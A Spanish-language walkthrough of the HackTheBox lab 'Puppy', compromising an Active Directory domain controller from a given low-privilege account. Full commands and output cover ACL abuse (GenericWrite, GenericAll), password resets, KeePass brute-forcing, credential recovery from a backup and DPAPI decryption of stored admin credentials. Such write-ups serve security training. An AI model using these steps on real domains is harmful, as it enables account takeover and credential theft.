Habilidades: Abusing AD ACL - GenericWrite
Rights, SMB Enumeration, KeePass Database Password Brute Forcing, Abusing AD ACL - GenericAll
Rights, Credentials Leakage, Abusing DPAPI Secrets [Privilege Escalation]
Introducción
Puppy es una máquina Windows de dificultad Medium
en HackTheBox donde debemos vulnerar un dominio de Active Directory a través de técnicas de explotación y movimiento lateral que involucran derechos AC hasta el abuso de la API de Protección de Datos de Windows para vencer Puppy.
En la descripción de la máquina, el creador nos deja el siguiente mensaje, el cual contiene unas credenciales de usuario
Machine Information
As is common in real life pentests, you will start the Puppy box with credentials for the following account:
levi.james
/KingofAkron2025!
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c1 10.10.11.70
PING 10.10.11.70 (10.10.11.70) 56(84) bytes of data.
64 bytes from 10.10.11.70: icmp_seq=1 ttl=127 time=281 ms
--- 10.10.11.70 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 281.451/281.451/281.451/0.000 ms
Nmap Scanning
Comenzaremos con un escaneo de puertos por el protocolo TCP. Este escaneo inicial se encargará de descubrir servicios expuestos escaneando todo el rango de puertos
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.70 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-21 23:55 EDT
Nmap scan report for 10.10.11.70
Host is up (0.29s latency).
Not shown: 65512 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3260/tcp open iscsi
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49674/tcp open unknown
49697/tcp open unknown
63360/tcp open unknown
63389/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 53.70 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Lanzaremos un segundo escaneo a los puertos descubiertos, esta vez identificaremos la versión y el servicio que se está ejecutando en cada puerto
nmap -p 53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269,5985,9389,49664,49667,49669,49674,49697,63360,63389 -sVC 10.10.11.70 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-21 23:58 EDT
Nmap scan report for 10.10.11.70
Host is up (0.69s latency).
Bug in iscsi-info: no string output.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-22 03:58:16Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49697/tcp open msrpc Microsoft Windows RPC
63360/tcp open msrpc Microsoft Windows RPC
63389/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-09-22T04:00:21
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 603.24 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Vemos mucha información sobre servicios expuestos (como DNS
, kerberos
, LDAP
, etc.), esto claramente es un indicativo de que estamos frente a un controlador de dominio.
En la última captura de nmap
vemos tanto el nombre del dominio como del host, agregaremos esta información a nuestro archivo /etc/hosts
para aplicar correctamente una resolución DNS
echo '10.10.11.70 puppy.htb DC.puppy.htb' | sudo tee -a /etc/hosts
10.10.11.70 puppy.htb DC.puppy.htb
Domain Analysis - Bloodhound
Utilizaremos las credenciales del usuario levi.james
para recolectar información del dominio y poder realizar un análisis con Bloodhound
Usaremos el comando
ntpdate
para sincronizar nuestro reloj con el DC, esto es requerido durante el proceso de autenticaciónkerberos
ntpdate DC.puppy.htb && bloodhound-python -d puppy.htb -ns 10.10.11.70 --zip -c All -u levi.james -p 'KingofAkron2025!'
2025-09-22 00:32:36.395723 (-0400) +0.057484 +/- 0.286886 DC.puppy.htb 10.10.11.70 s1 no-leap
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 01M 10S
INFO: Compressing output into 20250922003256_bloodhound.zip
Users
Opcionalmente, podemos generar un listado de usuarios del dominio a través de una consulta utilizando el protocolo RPC
rpcclient DC.puppy.htb -U 'levi.james%KingofAkron2025!' -c enumdomusers | cut -d ' ' -f1-1 | grep -oP '\[.*?\]' | tr -d '[]' | tee users.txt
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
(Posible) NFS Enumeration
Vemos que un servidor NFS
se encuentra activo, sin embargo a la hora de realizar una enumeración inicial, no veremos nada interesante
showmount 10.10.11.70 --all
All mount points on 10.10.11.70:
(Posible) SMB Enumeration
Con las credenciales actuales, intentaremos listar recursos de red a través del procotolo SMB
smbmap -H 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!'
Intrusión / Explotación
Abusing AD ACL - GenericWrite
Rights
Podemos notar que el grupo HR
posee derechos GenericWrite
sobre el grupo DEVELOPERS
, además de que levi.james
es parte de HR
, esto nos permite modificar cualquier atributo no protegido del objeto, como información básica.
Por ejemplo para un grupo sin privilegios elevados, podemos modificar las membresías, permitiendo agregar al usuario que controlamos para que forme parte de este grupo
Agregaremos al usuario levi.james
al grupo DEVELOPERS
con el comando net
net rpc group addmem 'DEVELOPERS' 'levi.james' -U 'puppy.htb/levi.james%KingofAkron2025!' -S DC.puppy.htb
Verificaremos que ahora levi.james
forma parte del grupo DEVELOPERS
al listar a los miembros
net rpc group members 'DEVELOPERS' -U 'puppy.htb/levi.james%KingofAkron2025!' -S DC.puppy.htb
PUPPY\levi.james
PUPPY\ant.edwards
PUPPY\adam.silver
PUPPY\jamie.williams
SMB Enumeration
Si realizamos una enumeración nuevamente del servicio SMB
, notaremos que ahora tenemos acceso con permisos de lectura al recurso compartido DEV
smbmap -H DC.puppy.htb -u 'levi.james' -p 'KingofAkron2025!'
[+] IP: DC.puppy.htb:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
DEV READ ONLY DEV-SHARE for PUPPY-DEVS
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Podemos conectaremos al recurso compartido con smbclient
smbclient //DC.puppy.htb/DEV -U 'levi.james%KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sun Mar 23 03:07:57 2025
.. D 0 Sat Mar 8 11:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 03:09:12 2025
Projects D 0 Sat Mar 8 11:53:36 2025
recovery.kdbx A 2677 Tue Mar 11 22:25:46 2025
5080575 blocks of size 4096. 1626228 blocks available
smb: \>
Vemos que existe un instalador (.msi
), una carpeta Projects
, y un archivo .kdbx
. Descargaremos este último archivo para analizarlo desde nuestra máquina
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (2.6 KiloBytes/sec) (average 2.6 KiloBytes/sec)
Nos han dejado una pista clara en el servidor SMB
, el archivo en cuestión se trata de una base de datos para KeePass
, concretamente para la versión 2
en adelante
file recovery.kdbx
recovery.kdbx: Keepass password database 2.x KDBX
KeePass Database Password Brute Forcing
KeePass es un administrador de contraseñas gratuito, de código abierto y liviano que permite almacenar todas tus contraseñas en una base de datos cifrada y segura.
KeePass guarda las credenciales en un único archivo de base de datos, este contenido está cifrado con algoritmos modernos y robustos (como AES-256
, ChaCha20
y Twofish
). Únicamente necesitamos saber la contraseña de esta base de datos, también conocida como “clave maestra”.
El formato KDBX 4.x (KeePass >=2.36) aún no es soportado por herramientas como keepass2john
, por lo que no hay forma conocida de extraer el hash y crackearlo.
keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!
Existe una versión de keepass2john
disponible en Github
que soporta versiones posteriores a la 2.36
, la cual podrá construir un hash, aunque no en un formato que verdaderamente entiendan john
o hashcat
.
Alternativamente, podemos utilizar la herramienta keepass4brute
, esta herramienta es un parche rápido y sucio para la situación actual.
Se aplica fuerza bruta probando una lista de palabras proporcionada directamente contra el archivo de base de datos, utilizando la herramienta de línea de comandos de keepass
. El siguiente ejemplo muestra un intento fallido vs uno exitoso de desbloqueo
# Incorrecta
keepassxc-cli open ../recovery.kdbx
Enter password to unlock ../recovery.kdbx:
Error while reading the database: Invalid credentials were provided, please try again.
If this reoccurs, then your database file may be corrupt. (HMAC mismatch)
# Correcta
keepassxc-cli open ../recovery.kdbx
Enter password to unlock ../recovery.kdbx:
recovery> ls
JAMIE WILLIAMSON
ADAM SILVER
ANTONY C. EDWARDS
STEVE TUCKER
SAMUEL BLAKE
Clonaremos la herramienta a nuestro directorio de trabajo y la ejecutaremos para iniciar los intentos
git clone https://github.com/r3nt0n/keepass4brute
cd keepass4brute
./keepass4brute.sh ../recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 72 - Estimated time remaining: 19 weeks, 5 days
[+] Current attempt: liverpool
[*] Password found: liverpool
Hemos encontrado la contraseña liverpool
, la cual debería desbloquear la base de datos
Dentro de la base de datos, encontraremos credenciales para varias cuentas del dominio
Path to adam.silver
Si verificamos desde Bloodhound
la cuenta deadam.silver
, notaremos que este usuario se encuentra deshabilitado
Al intentar utilizar sus credenciales, obtendremos un error, el mismo que confirma que la cuenta está inactiva
nxc smb DC.puppy.htb -u 'adam.silver' -p 'HJKL2025!' -k
SMB DC.puppy.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB DC.puppy.htb 445 DC [-] PUPPY.HTB\adam.silver:HJKL2025! KDC_ERR_CLIENT_REVOKED
El error “KDC_ERR_CLIENT_REVOKED” indica que las credenciales de la cuenta del usuario han sido revocadas por el Centro de Distribución de Claves (KDC).
Esto ocurre cuando la cuenta está desactivada, bloqueada, caducada o si el usuario está intentando iniciar sesión durante un horario restringido, y significa que el usuario no puede iniciar sesión hasta que se resuelva el estado de la cuenta.
Si logramos activar la cuenta del usuario adam.silver
, lograremos conectarnos al DC vía winrm
, gracias a que es miembro del grupo Remote Management Users
El grupo
Remote Management Users
(Usuarios de Administración Remota) en Active Directory (AD) es un grupo de seguridad local de dominio que se utiliza para permitir a sus miembros el acceso remoto para realizar tareas de gestión y configuración mediante el protocolo Windows Remote Management (WinRM).
Abusing AD ACL - GenericAll
Rights
El grupo Senior Devs
posee derechos GenericAll
sobre la cuenta adam.silver
, y el usuario ant.edwars
es miembro de este grupo, esto nos otorga control total sobre un objeto, pudiendo modificar cualquier atributo.
Podemos aprovechar estos derechos para activar la cuenta de adam.silver
con las credenciales de ant.edwards
Las credenciales de
ant.edwards
las podemos obtener desde la base de datos deKeePass
que abrimos anteriormente
Activaremos la cuenta del usuario adam.silver
utilizando herramientas como bloodyAD
, donde quitamos el atributo ACCOUNTDISABLE
bloodyAD --host DC.puppy.htb -d puppy.htb -u 'ant.edwards' -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
Si intentamos validar las credenciales de adam.silver
, notaremos que no podemos autenticarnos
getTGT.py puppy.htb/adam.silver:'HJKL2025!' -dc-ip 10.10.11.70
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
Changing Password
Como tenemos derechos de control total sobre adam.silver
, cambiaremos su contraseña
net rpc password "adam.silver" "newP@ssword2025" -U 'puppy.htb/ant.edwards%Antman2025!' -S dc.puppy.htb
Si ahora validamos las nuevas credenciales, lograremos autenticarnos correctamente
nxc smb DC.puppy.htb -u 'adam.silver' -p 'newP@ssword2025'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\adam.silver:newP@ssword2025
Shell as adam.silver
Con la cuenta habilitada y una nueva contraseña asignada, podemos conectarnos por winrm
al DC utilizando las nuevas credenciales de adam.silver
evil-winrm-py -i DC.puppy.htb -u 'adam.silver' -p 'newP@ssword2025'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to DC.puppy.htb:5985 as adam.silver
evil-winrm-py PS C:\Users\adam.silver\Documents> whoami
puppy\adam.silver
En este punto ya podremos ver la flag del usuario sin privilegios
evil-winrm-py PS C:\Users\adam.silver\Documents> type ..\Desktop\user.txt
d07...
Escalada de Privilegios
Credentials Leakage
Navegando por el sistema de archivos, encontraremos una carpeta Backups
, y dentro de ella veremos un archivo .zip
que al parecer es una copia de seguridad de un sitio web
evil-winrm-py PS C:\Users\adam.silver\Documents> dir C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 5/20/2025 3:21 AM Users
d----- 5/13/2025 4:40 PM Windows
evil-winrm-py PS C:\Users\adam.silver\Documents> dir C:\Backups
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
Aprovecharemos la funcionalidad para descargar archivos directamente en nuestra máquina con el comando download
evil-winrm-py PS C:\Users\adam.silver\Documents> download C:\Backups\site-backup-2024-12-30.zip .
Procedemos a descomprimir este archivo .zip
en nuestra máquina atacante, el comprimido contiene 3
archvios
unzip site-backup-2024-12-30.zip
ls
assets images index.html nms-auth-config.xml.bak
Si vemos el contenido del archivo nms-auth-config.xml.bak
, veremos unas credenciales
cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Podemos validar estas credenciales rápidamente con herramientas como netexec
nxc smb dc.puppy.htb -u 'steph.cooper' -p 'ChefSteph2025!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
Shell as steph.cooper
Nos conectaremos a la máquina a través de protocolo winrm
con las credenciales del usuario steph.cooper
evil-winrm-py -i 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to 10.10.11.70:5985 as steph.cooper
evil-winrm-py PS C:\Users\steph.cooper\Documents> whoami
puppy\steph.cooper
Abusing Data Protection API Secrets
DPAPI (Data Protection API) es una API de cifrado integrada en Windows que permite proteger datos sensibles (como contraseñas, claves y credenciales) de forma automática, utilizando las credenciales del usuario o del sistema.
DPAPI protege los datos utilizando una master key
, normalmente cifrada con las credenciales del usuario en formato hash.
El abuso o lectura de secretos DPAPI es una técnica de post-explotación que logra obtener información sensible protegida por DPAPI.
Para descifrar datos protegidos por esta funcionalidad de Windows necesitamos extraer los siguientes archivos:
Master Key
: Clave maestra, la necesitaremos para desencriptar credencialesCredential File
: Archivo de credenciales protegidas por DPAPI
Los datos se almacenan en el directorio de usuarios y están protegidos por esta clave maestra. Normalmente se encuentran el la siguiente carpeta
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID
Los datos protegidos suelen encontrarse dentro de los siguientes directorios del usuario
C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\
Finding DPAPI Master Key
Encontraremos el archivo correspondiente a la clave maestra que necesitamos en el directorio mencionado, lo descargaremos en nuestra máquina utilizando el comando download
de evil-wirm-py
evil-winrm-py PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> download 556a2412-1275-4ccf-b721-e6a0b4f90407 .
Finding Credential File
Ahora buscaremos credenciales protegidas para descifrarlas con la clave maestra, descargaremos el siguiente archivo
evil-winrm-py PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> download C8D69EBE9A43E9DEBF6B5FBD48B521B9 .
Decrypting DPAPI Master Key
Desencriptaremos la clave maestra contenida dentro del archivo que descargamos con la ayuda de la herramienta de impacket-dpapi
impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password ChefSteph2025!
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
-file
: Archivo de clave maestra-sid
: Identificador del usuario-password
: Contraseña del usuario
Decrypting DPAPI Credentials
Utilizaremos la clave maestra para desencriptar el archivo de credenciales y verlas en texto claro
impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
-file
: Archivo que contiene credenciales protegidas-key
: Clave maestra desencriptada anteriormente
Obtuvimos las credenciales FivethChipOnItsWay2025!
y son válidas para el usuario steph.cooper_adm
nxc smb DC.puppy.htb -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
Veremos un (Pwn3d!)
, normalmente significa que el usuario tiene privilegios elevados. Si comprobamos desde BloodHound
, veremos que es miembro del grupo Administrators
Root Time
Nos conectaremos a través de winrm
a la máquina víctima utilizando las credenciales para el usuario steph.cooper_adm
evil-winrm-py -i DC.puppy.htb -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to DC.puppy.htb:5985 as steph.cooper_adm
evil-winrm-py PS C:\Users\steph.cooper_adm\Documents> whoami
puppy\steph.cooper_adm
Ya podremos ver la flag del sistema ubicada en la carpeta de escritorio del usuario Administrator
evil-winrm-py PS C:\Users\steph.cooper_adm\Documents> type C:\Users\Administrator\Desktop\root.txt
179...
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
Every problem has a gift for you in its hands. — Richard Bach